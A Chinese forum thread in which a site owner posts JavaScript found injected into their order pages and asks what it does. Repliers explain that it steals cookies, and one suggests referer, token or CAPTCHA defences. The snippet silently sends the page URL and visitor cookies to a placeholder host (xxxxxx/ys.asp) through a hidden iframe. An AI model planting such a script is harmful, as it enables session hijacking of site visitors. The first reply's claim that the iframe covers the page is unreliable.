网站含有订单程序,被人嵌入JS路径文件,代码如下:
var code; 
var target ="http://xxxxxx/ys.asp?"; 
info=escape(document.location+"@@@"+document.cookie); 
target=target+info; 
code="<iframe style='display:none;' src="; 
code=code+target; 
code=code+" width=0 height=0></iframe>"; 
document.write(code); 
请教,这段代码是做什么用的???

解决方案 »

  1.   

    就是生成一个frame,这个frame的地址是他的恶意网站,而这个frame又把你原来的网页给遮住了,用户使用你的网页的时候,只能看到恶意网站。
      

  2.   

    像是在偷你的cookie。  先获取你的cookie,然后将cookie加到他恶意页面的url参数中,透过iframe提交到他的服务器。很显然,不想一楼所说,因为该iframe的display属性为None,因此上不会显示,不存在遮住你页面的问题。 就是盗cookie,至于盗了之后干什么,就要发挥想象力了。
      

  3.   


    就是这么回事日,对手恶意搞的,想窃取我们的订单,通过在订单程序里嵌入<script>..</script>,这种情况,有什么办法防吗?
      

  4.   

    一般都是利用referer、token或者验证码